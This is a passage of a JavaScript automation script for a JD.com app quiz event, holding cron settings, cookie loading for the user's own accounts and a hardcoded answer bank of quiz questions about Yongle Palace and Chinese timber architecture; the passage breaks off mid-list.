img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +================Loon============== +[Script] +cron "20 * * * *" script-path=jd_immortal_answer.js,tag=京东神仙书院答题 + +===============Surge================= +京东神仙书院答题 = type=cron,cronexp="20 * * * *",wake-system=1,timeout=3600,script-path=jd_immortal_answer.js + +============小火箭========= +京东神仙书院答题 = type=cron,script-path=jd_immortal_answer.js, cronexpr="20 * * * *", timeout=3600, enable=true + */ +const $ = new Env('京东神仙书院答题'); + +const notify = $.isNode() ? require('../sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('../jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/client.action'; + +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + // await requireTk() + $.tk = [{"questionId":"1901441674","questionIndex":"1","questionStem":"永乐宫位于山西哪个城市?","options":"[{\"optionId\":\"Ks0Sx0BXjjgbNFBxCgQpCIXLkJ_WAKDLFdSw-A\",\"optionDesc\":\"运城市\"},{\"optionId\":\"Ks0Sx0BXjjgbNFBxCgQpChYv-iBINKeZnfm57Q\",\"optionDesc\":\"大同市\"},{\"optionId\":\"Ks0Sx0BXjjgbNFBxCgQpC0PrO6mXfvErnsQZkw\",\"optionDesc\":\"太原市\"}]","questionToken":"Ks0Sx0BXjjgbNFAjGUwyXaBp4FnRWXz9HV3vlG-r0AbqW0JofD5caaNEQRrh9w29L7dXXyJ1x5jxRzvj8WP7hQBiWb6eYw","correct":"{\"optionId\":\"Ks0Sx0BXjjgbNFBxCgQpCIXLkJ_WAKDLFdSw-A\",\"optionDesc\":\"运城市\"}","create_time":"27/1/2021 04:49:08","update_time":"27/1/2021 04:49:08","status":"1"},{"questionId":"1901441675","questionIndex":"2","questionStem":"永乐宫在什么时期进行了全面搬迁?","options":"[{\"optionId\":\"Ks0Sx0BXjjgbNVBxCgQpCqVtOiEGdgT2rlgu\",\"optionDesc\":\"21世纪初\"},{\"optionId\":\"Ks0Sx0BXjjgbNVBxCgQpCJXg5g8cZbd_NrUF\",\"optionDesc\":\"20世纪五六十年代\"},{\"optionId\":\"Ks0Sx0BXjjgbNVBxCgQpC_dVlhsF1hkxDSRo\",\"optionDesc\":\"20世纪八九十年代\"}]","questionToken":"Ks0Sx0BXjjgbNVAgGUwyXWU5Z3N8SsLmAmlHnWPk8mu4qpLQ5BonaiQ48lq5_oPoCmxj6PygaxpHZfAQ8m0UnMkPoxHQpg","correct":"{\"optionId\":\"Ks0Sx0BXjjgbNVBxCgQpCJXg5g8cZbd_NrUF\",\"optionDesc\":\"20世纪五六十年代\"}","create_time":"27/1/2021 04:37:24","update_time":"27/1/2021 04:37:24","status":"1"},{"questionId":"1901441676","questionIndex":"1","questionStem":"永乐宫建筑群建造于哪个时期?","options":"[{\"optionId\":\"Ks0Sx0BXjjgbNlBxCgQpCija4QWLFHMVZNeuuQ\",\"optionDesc\":\"明清时期\"},{\"optionId\":\"Ks0Sx0BXjjgbNlBxCgQpC-sybUji1HS_1mIxOg\",\"optionDesc\":\"隋唐时期\"},{\"optionId\":\"Ks0Sx0BXjjgbNlBxCgQpCERO6zuvt0b_lDV85g\",\"optionDesc\":\"宋元时期\"}]","questionToken":"Ks0Sx0BXjjgbNlAjGUwyXf6zlVwlZm9N0cMd1yq3R26R0FElCAVxswWUF7k6UqOKDARHvkc8js_CnGq7m9rw9Je3Ye7uwg","correct":"{\"optionId\":\"Ks0Sx0BXjjgbNlBxCgQpCERO6zuvt0b_lDV85g\",\"optionDesc\":\"宋元时期\"}","create_time":"27/1/2021 04:42:38","update_time":"27/1/2021 04:42:38","status":"1"},{"questionId":"1901441677","questionIndex":"2","questionStem":"永乐宫屋顶正脊两侧的怪兽叫?","options":"[{\"optionId\":\"Ks0Sx0BXjjgbN1BxCgQpCLdI9W7sOrVFbyo2_w\",\"optionDesc\":\"鸱吻\"},{\"optionId\":\"Ks0Sx0BXjjgbN1BxCgQpC8bJ8XseaV3o3WvQZw\",\"optionDesc\":\"赑屃\"},{\"optionId\":\"Ks0Sx0BXjjgbN1BxCgQpCiTLo1O3Fskj9ysIVw\",\"optionDesc\":\"狮子\"}]","questionToken":"Ks0Sx0BXjjgbN1AgGUwyWtwFYOBcQhTDcAYij64yM9ULBJ-9xlCSyjOp-oPdSbAyrvbKYUBNbWNYjjmKIgNgO_yoJjPedg","correct":"{\"optionId\":\"Ks0Sx0BXjjgbN1BxCgQpCLdI9W7sOrVFbyo2_w\",\"optionDesc\":\"鸱吻\"}","create_time":"27/1/2021 04:35:45","update_time":"27/1/2021 04:35:45","status":"1"},{"questionId":"1901441678","questionIndex":"2","questionStem":"永乐宫鸱吻的原料是?","options":"[{\"optionId\":\"Ks0Sx0BXjjgbOFBxCgQpCLIiGL-i9xgxxciXKA\",\"optionDesc\":\"琉璃\"},{\"optionId\":\"Ks0Sx0BXjjgbOFBxCgQpChqA80NEftULPnc5pQ\",\"optionDesc\":\"木雕\"},{\"optionId\":\"Ks0Sx0BXjjgbOFBxCgQpCxZRsqUCnaaa1McPtg\",\"optionDesc\":\"金银\"}]","questionToken":"Ks0Sx0BXjjgbOFAgGUwyXaz-RSO4SdlUVwxRDJLcmSKPyxL2yVbqPuCvt5zrMdBYxvzzKQq5firE3VKN-dZIAgFMWXPBhA","correct":"{\"optionId\":\"Ks0Sx0BXjjgbOFBxCgQpCLIiGL-i9xgxxciXKA\",\"optionDesc\":\"琉璃\"}","create_time":"27/1/2021 04:47:23","update_time":"27/1/2021 04:47:23","status":"1"},{"questionId":"1901441679","questionIndex":"4","questionStem":"永乐宫建筑的布局是?","options":"[{\"optionId\":\"Ks0Sx0BXjjgbOVBxCgQpC8_r_0V5j_2iit4\",\"optionDesc\":\"三点布局\"},{\"optionId\":\"Ks0Sx0BXjjgbOVBxCgQpCAtpkpOXFIsGw_Y\",\"optionDesc\":\"中轴线布局\"},{\"optionId\":\"Ks0Sx0BXjjgbOVBxCgQpCnZ3QHwZxxvqbvU\",\"optionDesc\":\"对角线布局\"}]","questionToken":"Ks0Sx0BXjjgbOVAmGUwyWsIJPvpXj3gmQ0NPuTKUw1XdjYI4-a5pl-7g5NfIGYSC54-XuwqBqBzyo4gBnd4MPW08Pslijw","correct":"{\"optionId\":\"Ks0Sx0BXjjgbOVBxCgQpCAtpkpOXFIsGw_Y\",\"optionDesc\":\"中轴线布局\"}","create_time":"27/1/2021 04:36:17","update_time":"27/1/2021 04:36:17","status":"1"},{"questionId":"1901441680","questionIndex":"3","questionStem":"永乐宫是哪个宗教的建筑?","options":"[{\"optionId\":\"Ks0Sx0BXjjgUMFBxCgQpCI4ZdGOr_c5yUIGz\",\"optionDesc\":\"道教\"},{\"optionId\":\"Ks0Sx0BXjjgUMFBxCgQpCz5VlteegUfypA7G\",\"optionDesc\":\"伊斯兰教\"},{\"optionId\":\"Ks0Sx0BXjjgUMFBxCgQpCv1lnZxzG3Oo4vZQ\",\"optionDesc\":\"佛教\"}]","questionToken":"Ks0Sx0BXjjgUMFAhGUwyWpJF8tGtTyAO5wkdd-Zp9U1w9Jqp-uGaaEF3xWVhpwFeB9X71PBuyyLHdGb7g5QRTF6zHWrtPA","correct":"{\"optionId\":\"Ks0Sx0BXjjgUMFBxCgQpCI4ZdGOr_c5yUIGz\",\"optionDesc\":\"道教\"}","create_time":"27/1/2021 04:32:33","update_time":"27/1/2021 04:32:33","status":"1"},{"questionId":"1901441681","questionIndex":"1","questionStem":"永乐宫建筑群的主体材料是?","options":"[{\"optionId\":\"Ks0Sx0BXjjgUMVBxCgQpClAVHXDlx4iFjSPCEA\",\"optionDesc\":\"汉白玉\"},{\"optionId\":\"Ks0Sx0BXjjgUMVBxCgQpCHi92SbiZ_U5NcgBLQ\",\"optionDesc\":\"木材\"},{\"optionId\":\"Ks0Sx0BXjjgUMVBxCgQpC5aA9Mgq7qOWWmoGhw\",\"optionDesc\":\"砖石\"}]","questionToken":"Ks0Sx0BXjjgUMVAjGUwyXawYWL1UOIN8ssGn41zVx3hluW-X3pOIBdpbrzjitD5PIk3JLx7ZZIcjbZt2tp25xcD8iCB08w","correct":"{\"optionId\":\"Ks0Sx0BXjjgUMVBxCgQpCHi92SbiZ_U5NcgBLQ\",\"optionDesc\":\"木材\"}","create_time":"27/1/2021 04:35:24","update_time":"27/1/2021 04:35:24","status":"1"},{"questionId":"1901441682","questionIndex":"1","questionStem":"传说中鸱吻这种神兽的作用是?","options":"[{\"optionId\":\"Ks0Sx0BXjjgUMlBxCgQpCtQOT7Ynym3JenwCHg\",\"optionDesc\":\"驱邪降魔\"},{\"optionId\":\"Ks0Sx0BXjjgUMlBxCgQpCyXafCr2GQfX5EWkIA\",\"optionDesc\":\"祈求财富\"},{\"optionId\":\"Ks0Sx0BXjjgUMlBxCgQpCJCV-cfmdq-QbnYXMg\",\"optionDesc\":\"避免火灾\"}]","questionToken":"Ks0Sx0BXjjgUMlAjGUwyWkpGFycyA6X5Ne-gvXVHBiitX-9-0EoSwLz6Um379nm-O0pCejfo8Q8dweZInVBRxJN0_n128A","correct":"{\"optionId\":\"Ks0Sx0BXjjgUMlBxCgQpCJCV-cfmdq-QbnYXMg\",\"optionDesc\":\"避免火灾\"}","create_time":"27/1/2021 04:49:32","update_time":"27/1/2021 04:49:32","status":"1"},{"questionId":"1901441683","questionIndex":"5","questionStem":"永乐宫之所以被称作“宫”的原因是?","options":"[{\"optionId\":\"Ks0Sx0BXjjgUM1BxCgQpC5PXQ_FU1uT-F7ug\",\"optionDesc\":\"它曾是王爷的王府\"},{\"optionId\":\"Ks0Sx0BXjjgUM1BxCgQpCsW1fCbEDNld89Dz\",\"optionDesc\":\"它曾是古代皇帝的行宫\"},{\"optionId\":\"Ks0Sx0BXjjgUM1BxCgQpCDvrJSzFZ6zPwf9x\",\"optionDesc\":\"它是道教宫观\"}]","questionToken":"Ks0Sx0BXjjgUM1AnGUwyWhP15Oinw63LiAS_tKn3NvgNkLXqoBY2Z9fen4mTnJlrbPqQDJ6eCE-XmAgRCOOFf93N2Awntg","correct":"{\"optionId\":\"Ks0Sx0BXjjgUM1BxCgQpCDvrJSzFZ6zPwf9x\",\"optionDesc\":\"它是道教宫观\"}","create_time":"27/1/2021 04:41:42","update_time":"27/1/2021 04:41:42","status":"1"},{"questionId":"1901441684","questionIndex":"4","questionStem":"古代木构建筑,柱头上用于支撑屋顶的是?","options":"[{\"optionId\":\"Ks0Sx0BXjjgUNFBxCgQpCFCw5AV_jyrR5Wmslg\",\"optionDesc\":\"斗拱\"},{\"optionId\":\"Ks0Sx0BXjjgUNFBxCgQpC55a8SIabsqTCfxTzw\",\"optionDesc\":\"椽\"},{\"optionId\":\"Ks0Sx0BXjjgUNFBxCgQpCjr63fj7bbSxsnrqwg\",\"optionDesc\":\"藻井\"}]","questionToken":"Ks0Sx0BXjjgUNFAmGUwyXaPbN9OVIJKBsaNJdAO6l78DcVq9h0-t4xQT8aZB11TvDxyRkrKiBKtLHT1aZwQ6wY8cby-BGg","correct":"{\"optionId\":\"Ks0Sx0BXjjgUNFBxCgQpCFCw5AV_jyrR5Wmslg\",\"optionDesc\":\"斗拱\"}","create_time":"27/1/2021 04:36:42","update_time":"27/1/2021 04:36:42","status":"1"},{"questionId":"1901441685","questionIndex":"4","questionStem":"龙虎殿在永乐宫建筑群中原本的作用是?","options":"[{\"optionId\":\"Ks0Sx0BXjjgUNVBxCgQpC92ngKLgeY74q3Bf\",\"optionDesc\":\"主殿\"},{\"optionId\":\"Ks0Sx0BXjjgUNVBxCgQpCMGl3vSwkiQn4Dkr\",\"optionDesc\":\"宫门\"},{\"optionId\":\"Ks0Sx0BXjjgUNVBxCgQpCos9W0y6Lt8hAEfl\",\"optionDesc\":\"厨房\"}]","questionToken":"Ks0Sx0BXjjgUNVAmGUwyXSHjT4x5_6ZnXZVreHN12NE-fNfyF5D1paixW-6xlwFNirQlgSEasjwZMlZJNCzjEVoBcNLhvQ","correct":"{\"optionId\":\"Ks0Sx0BXjjgUNVBxCgQpCMGl3vSwkiQn4Dkr\",\"optionDesc\":\"宫门\"}","create_time":"27/1/2021 04:51:49","update_time":"27/1/2021 04:51:49","status":"1"},{"questionId":"1901441686","questionIndex":"1","questionStem":"永乐宫中,体积最大、规格最高的建筑是?","options":"[{\"optionId\":\"Ks0Sx0BXjjgUNlBxCgQpCKm_3kssuhNgRf4v\",\"optionDesc\":\"三清殿\"},{\"optionId\":\"Ks0Sx0BXjjgUNlBxCgQpChYDkQGDGcBVLDSs\",\"optionDesc\":\"龙虎殿\"},{\"optionId\":\"Ks0Sx0BXjjgUNlBxCgQpCyrEThF-MLRSMvcT\",\"optionDesc\":\"纯阳殿\"}]","questionToken":"Ks0Sx0BXjjgUNlAjGUwyXbsTxOqIEDJpD9S5F8jLsF9QME4eORP3ggmZL0d5050fhRc4Kl-9WrGM3kTBa6fL_fN3lWnJsw","correct":"{\"optionId\":\"Ks0Sx0BXjjgUNlBxCgQpCKm_3kssuhNgRf4v\",\"optionDesc\":\"三清殿\"}","create_time":"27/1/2021 04:48:19","update_time":"27/1/2021 04:48:19","status":"1"},{"questionId":"1901441687","questionIndex":"5","questionStem":"三清殿为了扩大空间,用的什么建造方法?","options":"[{\"optionId\":\"Ks0Sx0BXjjgUN1BxCgQpCo67V4IahCuUkzxH\",\"optionDesc\":\"移柱造\"},{\"optionId\":\"Ks0Sx0BXjjgUN1BxCgQpCB9PGapzVSxFJt6z\",\"optionDesc\":\"减柱造\"},{\"optionId\":\"Ks0Sx0BXjjgUN1BxCgQpC_lvivPh3eq-b_G0\",\"optionDesc\":\"增柱造\"}]","questionToken":"Ks0Sx0BXjjgUN1AnGUwyXZ9d3yh3z5_p6Ify_GTATyJx3H7Qm_gwiqbEnCoXsz8XY7a9Eb8jJCdvnJLRonE76nRSIQbhqg","correct":"{\"optionId\":\"Ks0Sx0BXjjgUN1BxCgQpCB9PGapzVSxFJt6z\",\"optionDesc\":\"减柱造\"}","create_time":"27/1/2021 04:41:47","update_time":"27/1/2021 04:41:47","status":"1"},{"questionId":"1901441688","questionIndex":"3","questionStem":"建筑结构“藻井”位于建筑的什么位置?","options":"[{\"optionId\":\"Ks0Sx0BXjjgUOFBxCgQpCkKRH5okhVEFYcPb\",\"optionDesc\":\"室内底部\"},{\"optionId\":\"Ks0Sx0BXjjgUOFBxCgQpCEO44t3eXweU7TIE\",\"optionDesc\":\"室内顶部\"},{\"optionId\":\"Ks0Sx0BXjjgUOFBxCgQpC5ajI6TUyh3n-HJU\",\"optionDesc\":\"室外顶部\"}]","questionToken":"Ks0Sx0BXjjgUOFAhGUwyWrUpYigmUBfN9MPhFu_H-yb8LQkx_v5b3V_ucIEnHHcn3GpvNAhJtnV6CFriw-KUAckvPRMZxg","correct":"{\"optionId\":\"Ks0Sx0BXjjgUOFBxCgQpCEO44t3eXweU7TIE\",\"optionDesc\":\"室内顶部\"}","create_time":"27/1/2021 04:37:36","update_time":"27/1/2021 04:37:36","status":"1"},{"questionId":"1901441689","questionIndex":"2","questionStem":"龙虎殿中原本侍奉的神像是?","options":"[{\"optionId\":\"Ks0Sx0BXjjgUOVBxCgQpC40R7oirSHDkDK8cWw\",\"optionDesc\":\"哼哈二将\"},{\"optionId\":\"Ks0Sx0BXjjgUOVBxCgQpCj4Kp_T2MZoxVgqq4Q\",\"optionDesc\":\"四大天王\"},{\"optionId\":\"Ks0Sx0BXjjgUOVBxCgQpCFR5Cy2zO1xrvWj5-Q\",\"optionDesc\":\"青龙白虎\"}]","questionToken":"Ks0Sx0BXjjgUOVAgGUwyXQQsVXA1i3sJpvMrfjH6nnVHfgwXOuzHPoVBgbdweUFqJygSziWLuDv8rbeHzAdG3VfeYoTfqQ","correct":"{\"optionId\":\"Ks0Sx0BXjjgUOVBxCgQpCFR5Cy2zO1xrvWj5-Q\",\"optionDesc\":\"青龙白虎\"}","create_time":"27/1/2021 04:43:14","update_time":"27/1/2021 04:43:14","status":"1"},{"questionId":"1901441690","questionIndex":"4","questionStem":"龙虎殿中的壁画内容不包括?","options":"[{\"optionId\":\"Ks0Sx0BXjjgVMFBxCgQpCFt6wNOO4WvdSY8I\",\"optionDesc\":\"哼哈二将\"},{\"optionId\":\"Ks0Sx0BXjjgVMFBxCgQpCtIP27bjXR6Xwiyn\",\"optionDesc\":\"天兵天将\"},{\"optionId\":\"Ks0Sx0BXjjgVMFBxCgQpC-cMUHyTpGgtDGhN\",\"optionDesc\":\"城隍土地\"}]","questionToken":"Ks0Sx0BXjjgVMFAmGUwyXcnM6lBhN3Sz9KQ6jhhGQTz2cVpbvLjYP-sNjmI6xO6ZlONAmdgVWkKoa7NKYM151Yh8IARYTg","correct":"{\"optionId\":\"Ks0Sx0BXjjgVMFBxCgQpCFt6wNOO4WvdSY8I\",\"optionDesc\":\"哼哈二将\"}","create_time":"27/1/2021 04:41:50","update_time":"27/1/2021 04:41:50","status":"1"},{"questionId":"1901441691","questionIndex":"5","questionStem":"木构建筑最害怕什么样的灾害?","options":"[{\"optionId\":\"Ks0Sx0BXjjgVMVBxCgQpCEp8ApiXUjSO4EpeNw\",\"optionDesc\":\"火灾\"},{\"optionId\":\"Ks0Sx0BXjjgVMVBxCgQpC4VQzDQEy-B4-AIPeQ\",\"optionDesc\":\"风灾\"},{\"optionId\":\"Ks0Sx0BXjjgVMVBxCgQpCudlIaP1KccYjUAVoQ\",\"optionDesc\":\"水灾\"}]","questionToken":"Ks0Sx0BXjjgVMVAnGUwyXcJClSF2f46OS1mEysy-O2GF3lF4ObdY2mVFRpz5C_GVo4MaRr4u1GtBxWi3Rj7WBCaurLoWmw","correct":"{\"optionId\":\"Ks0Sx0BXjjgVMVBxCgQpCEp8ApiXUjSO4EpeNw\",\"optionDesc\":\"火灾\"}","create_time":"27/1/2021 04:41:26","update_time":"27/1/2021 04:41:26","status":"1"},{"questionId":"1901441692","questionIndex":"3","questionStem":"中国大部分元代木构建筑位于哪个省?","options":"[{\"optionId\":\"Ks0Sx0BXjjgVMlBxCgQpCr6vxyu7JMzxAH0z\",\"optionDesc\":\"河南\"},{\"optionId\":\"Ks0Sx0BXjjgVMlBxCgQpCEzq_w29Tqd3Xfh8\",\"optionDesc\":\"山西\"},{\"optionId\":\"Ks0Sx0BXjjgVMlBxCgQpC_kIxEww4FOmTQSb\",\"optionDesc\":\"陕西\"}]","questionToken":"Ks0Sx0BXjjgVMlAhGUwyWlIm4Kgwnsm0vtupY_5EHnIsD7JScLPcHbNjjy7fBou30qYUvuHmxHzMA_JITVUW1BHUrQfytQ","correct":"{\"optionId\":\"Ks0Sx0BXjjgVMlBxCgQpCEzq_w29Tqd3Xfh8\",\"optionDesc\":\"山西\"}","create_time":"27/1/2021 04:49:51","update_time":"27/1/2021 04:49:51","status":"1"},{"questionId":"1901441693","questionIndex":"1","questionStem":"中国古代木构建筑屋顶的怪兽雕塑被统称为?","options":"[{\"optionId\":\"Ks0Sx0BXjjgVM1BxCgQpCsNJStIdVl6bkg\",\"optionDesc\":\"走兽\"},{\"optionId\":\"Ks0Sx0BXjjgVM1BxCgQpCKUEXB45Jxhtyw\",\"optionDesc\":\"脊兽\"},{\"optionId\":\"Ks0Sx0BXjjgVM1BxCgQpCwu45oKBqC9JHQ\",\"optionDesc\":\"叫兽\"}]","questionToken":"Ks0Sx0BXjjgVM1AjGUwyXQ16mON0qeXIz0j6M6nyPsWd9NZVu427sLiH01d2naJyb-UyQaRTyVlezGak7Bu3IIYaPKzR5A","correct":"{\"optionId\":\"Ks0Sx0BXjjgVM1BxCgQpCKUEXB45Jxhtyw\",\"optionDesc\":\"脊兽\"}","create_time":"27/1/2021 04:48:50","update_time":"27/1/2021 04:48:50","status":"1"},{"questionId":"1901441694","questionIndex":"1","questionStem":"永乐宫三清殿屋顶琉璃瓦的主要颜色不包括?","options":"[{\"optionId\":\"Ks0Sx0BXjjgVNFBxCgQpC0LNI8vPkLdOfMbK\",\"optionDesc\":\"黄色\"},{\"optionId\":\"Ks0Sx0BXjjgVNFBxCgQpCjL0JzrQiY64g5-0\",\"optionDesc\":\"蓝色\"},{\"optionId\":\"Ks0Sx0BXjjgVNFBxCgQpCHj_A7eZQrWeq69J\",\"optionDesc\":\"红色\"}]","questionToken":"Ks0Sx0BXjjgVNFAjGUwyXVKOvtJI_RYuidTWwxYRtZxS4RNdasLuntjuD4Qkp1VrZGTdwCPzQAuHWc2FM0SKmiIaNXcwug","correct":"{\"optionId\":\"Ks0Sx0BXjjgVNFBxCgQpCHj_A7eZQrWeq69J\",\"optionDesc\":\"红色\"}","create_time":"27/1/2021 04:37:38","update_time":"27/1/2021 04:37:38","status":"1"},{"questionId":"1901441695","questionIndex":"4","questionStem":"永乐宫中的“永乐”二字的来源是?","options":"[{\"optionId\":\"Ks0Sx0BXjjgVNVBxCgQpCg5NBh5BF2GXAC8\",\"optionDesc\":\"创建者名字\"},{\"optionId\":\"Ks0Sx0BXjjgVNVBxCgQpC2KxrlkHFMjNfHM\",\"optionDesc\":\"年号名\"},{\"optionId\":\"Ks0Sx0BXjjgVNVBxCgQpCGjUFDlvVNF9loY\",\"optionDesc\":\"当地地名\"}]","questionToken":"Ks0Sx0BXjjgVNVAmGUwyXegTx7Zd1Ytj9yP6T2FjXThcHc9jOuNW9fXAlBpKgkBmG0O3sw8xIm17goGpr6lez6Qn2rUUoA","correct":"{\"optionId\":\"Ks0Sx0BXjjgVNVBxCgQpCGjUFDlvVNF9loY\",\"optionDesc\":\"当地地名\"}","create_time":"27/1/2021 04:49:11","update_time":"27/1/2021 04:49:11","status":"1"},{"questionId":"1901441696","questionIndex":"2","questionStem":"永乐宫三清殿内的影壁不包括以下哪个功能?","options":"[{\"optionId\":\"Ks0Sx0BXjjgVNlBxCgQpC152Awa2dH94e7t2\",\"optionDesc\":\"支撑屋顶\"},{\"optionId\":\"Ks0Sx0BXjjgVNlBxCgQpCHqNGH8ZTC8a5owD\",\"optionDesc\":\"隔断生活空间\"},{\"optionId\":\"Ks0Sx0BXjjgVNlBxCgQpClGZ-jPnnM8hJU_5\",\"optionDesc\":\"背衬三清像\"}]","questionToken":"Ks0Sx0BXjjgVNlAgGUwyWo8588OAsfDhyzwOYwbRho6AuU3wfZMpe6rHXKqUTMq4zpbLk-smQputBytcqUaB_HCzLOZiHw","correct":"{\"optionId\":\"Ks0Sx0BXjjgVNlBxCgQpCHqNGH8ZTC8a5owD\",\"optionDesc\":\"隔断生活空间\"}","create_time":"27/1/2021 04:48:49","update_time":"27/1/2021 04:48:49","status":"1"},{"questionId":"1901441697","questionIndex":"4","questionStem":"永乐宫搬迁的原因是?","options":"[{\"optionId\":\"Ks0Sx0BXjjgVN1BxCgQpCku6_76yFi3OzGFj\",\"optionDesc\":\"地基面临塌方\"},{\"optionId\":\"Ks0Sx0BXjjgVN1BxCgQpCyPrw4LVPCe-tU_3\",\"optionDesc\":\"当地处于地震带\"},{\"optionId\":\"Ks0Sx0BXjjgVN1BxCgQpCHVShyQIGA32I-tm\",\"optionDesc\":\"修水库可能会淹没原址\"}]","questionToken":"Ks0Sx0BXjjgVN1AmGUwyWvpsU5IBFyAxxrGuqfclpsId5x4Gi2rR6JhMPQCgHlJV867Y8CIC5GdefFKVPxqiCfJkaiu21w","correct":"{\"optionId\":\"Ks0Sx0BXjjgVN1BxCgQpCHVShyQIGA32I-tm\",\"optionDesc\":\"修水库可能会淹没原址\"}","create_time":"27/1/2021 04:54:35","update_time":"27/1/2021 04:54:35","status":"1"},{"questionId":"1901441698","questionIndex":"1","questionStem":"以下哪个著名古代木构建筑不在山西?","options":"[{\"optionId\":\"Ks0Sx0BXjjgVOFBxCgQpC8CkrZ3VZDPt5Jk\",\"optionDesc\":\"佛光寺大殿\"},{\"optionId\":\"Ks0Sx0BXjjgVOFBxCgQpCmUMHkxVnQwPLE0\",\"optionDesc\":\"南禅寺大殿\"},{\"optionId\":\"Ks0Sx0BXjjgVOFBxCgQpCPPqIQdQLc8pQLw\",\"optionDesc\":\"摩尼殿\"}]","questionToken":"Ks0Sx0BXjjgVOFAjGUwyWh2SZ_o6H6u2356tn2fUSVwHBtpyCsDmFXT3DVpCh3F6oayFfL-uRqcGsW5aCNnk9DvbGvByKA","correct":"{\"optionId\":\"Ks0Sx0BXjjgVOFBxCgQpCPPqIQdQLc8pQLw\",\"optionDesc\":\"摩尼殿\"}","create_time":"27/1/2021 04:36:49","update_time":"27/1/2021 04:36:49","status":"1"},{"questionId":"1901441699","questionIndex":"2","questionStem":"以下哪个山西著名古代建筑不属于元代建筑?","options":"[{\"optionId\":\"Ks0Sx0BXjjgVOVBxCgQpCqEcfjqCvDqg54a0\",\"optionDesc\":\"芮城永乐宫\"},{\"optionId\":\"Ks0Sx0BXjjgVOVBxCgQpCAVPA842_mqvQcnN\",\"optionDesc\":\"芮城广仁王庙\"},{\"optionId\":\"Ks0Sx0BXjjgVOVBxCgQpC-K88SK8bXy86aCi\",\"optionDesc\":\"洪洞广胜寺水神庙\"}]","questionToken":"Ks0Sx0BXjjgVOVAgGUwyXa21Vv7aiRCLkXg6gzZvmb9iSzQT8YsItL7RRnquYpCWmfdTOJQwM6YErRSVPP4k16KRX56Ocg","correct":"{\"optionId\":\"Ks0Sx0BXjjgVOVBxCgQpCAVPA842_mqvQcnN\",\"optionDesc\":\"芮城广仁王庙\"}","create_time":"27/1/2021 04:44:16","update_time":"27/1/2021 04:44:16","status":"1"},{"questionId":"1901441700","questionIndex":"5","questionStem":"以下哪个选项是永乐宫所在地曾用名?","options":"[{\"optionId\":\"Ks0Sx0BXjjmvIuVncKsVPcqm23u0agRmLAhD\",\"optionDesc\":\"晋阳\"},{\"optionId\":\"Ks0Sx0BXjjmvIuVncKsVPOElfqWuay_w5zcO\",\"optionDesc\":\"长安\"},{\"optionId\":\"Ks0Sx0BXjjmvIuVncKsVPy44jSSLDkIjRL49\",\"optionDesc\":\"蒲州\"}]","questionToken":"Ks0Sx0BXjjmvIuUxY-MObbKS9LyRlkZXC758uhJEewZQza4YbEyvTVUVxrsZcnxxZwH8yXu8pcj593L50_b9pirJl7LXuA","correct":"{\"optionId\":\"Ks0Sx0BXjjmvIuVncKsVPy44jSSLDkIjRL49\",\"optionDesc\":\"蒲州\"}","create_time":"27/1/2021 04:40:03","update_time":"27/1/2021 04:40:03","status":"1"},{"questionId":"1901441701","questionIndex":"3","questionStem":"《朝元图》位于永乐宫的哪个建筑中?","options":"[{\"optionId\":\"Ks0Sx0BXjjmvI-VncKsVPWaeu-7IZKwhej4\",\"optionDesc\":\"纯阳殿\"},{\"optionId\":\"Ks0Sx0BXjjmvI-VncKsVP4R-CriTieu-GEw\",\"optionDesc\":\"三清殿\"},{\"optionId\":\"Ks0Sx0BXjjmvI-VncKsVPDdflfwNOeXX9hw\",\"optionDesc\":\"重阳殿\"}]","questionToken":"Ks0Sx0BXjjmvI-U3Y-MOagzhoBHzGNLhwVN8K0s6LLCbs0y3KEwnmXgqQfYGsKCpgn83IQKAkZ6pLyDqjDTlDpLZGRrMRw","correct":"{\"optionId\":\"Ks0Sx0BXjjmvI-VncKsVP4R-CriTieu-GEw\",\"optionDesc\":\"三清殿\"}","create_time":"27/1/2021 04:44:59","update_time":"27/1/2021 04:44:59","status":"1"},{"questionId":"1901441702","questionIndex":"4","questionStem":"《朝元图》中有几位主神?","options":"[{\"optionId\":\"Ks0Sx0BXjjmvIOVncKsVP1dXlbzP1UHqm59v\",\"optionDesc\":\"八位\"},{\"optionId\":\"Ks0Sx0BXjjmvIOVncKsVPcbCov9JryL8fLrF\",\"optionDesc\":\"三位\"},{\"optionId\":\"Ks0Sx0BXjjmvIOVncKsVPFff4XqToBBFD8zw\",\"optionDesc\":\"四位\"}]","questionToken":"Ks0Sx0BXjjmvIOUwY-MOakFYMNcL4DrtVblyr8WSBl--cn7ocqinpdal4tHRKMJ2dS0FR0kiQHMwhSgS-fYeqm8SO5QQ4w","correct":"{\"optionId\":\"Ks0Sx0BXjjmvIOVncKsVP1dXlbzP1UHqm59v\",\"optionDesc\":\"八位\"}","create_time":"27/1/2021 04:38:09","update_time":"27/1/2021 04:38:09","status":"1"},{"questionId":"1901441703","questionIndex":"3","questionStem":"《朝元图》中的神仙在做什么?","options":"[{\"optionId\":\"Ks0Sx0BXjjmvIeVncKsVPbueQ8EL2hb4t2g\",\"optionDesc\":\"朝拜元朝统治者\"},{\"optionId\":\"Ks0Sx0BXjjmvIeVncKsVP6wI4VWvdo4hzXg\",\"optionDesc\":\"朝拜元始天尊\"},{\"optionId\":\"Ks0Sx0BXjjmvIeVncKsVPPDCQqaOpqGG5Ks\",\"optionDesc\":\"朝贺元旦\"}]","questionToken":"Ks0Sx0BXjjmvIeU3Y-MOaull00vMLH8_139kq5wfuyS7OJu5Fd92N5OnaPfBe4AZwb0dz5bQ3heWBRT_8_kki8UsFE57Gg","correct":"{\"optionId\":\"Ks0Sx0BXjjmvIeVncKsVP6wI4VWvdo4hzXg\",\"optionDesc\":\"朝拜元始天尊\"}","create_time":"27/1/2021 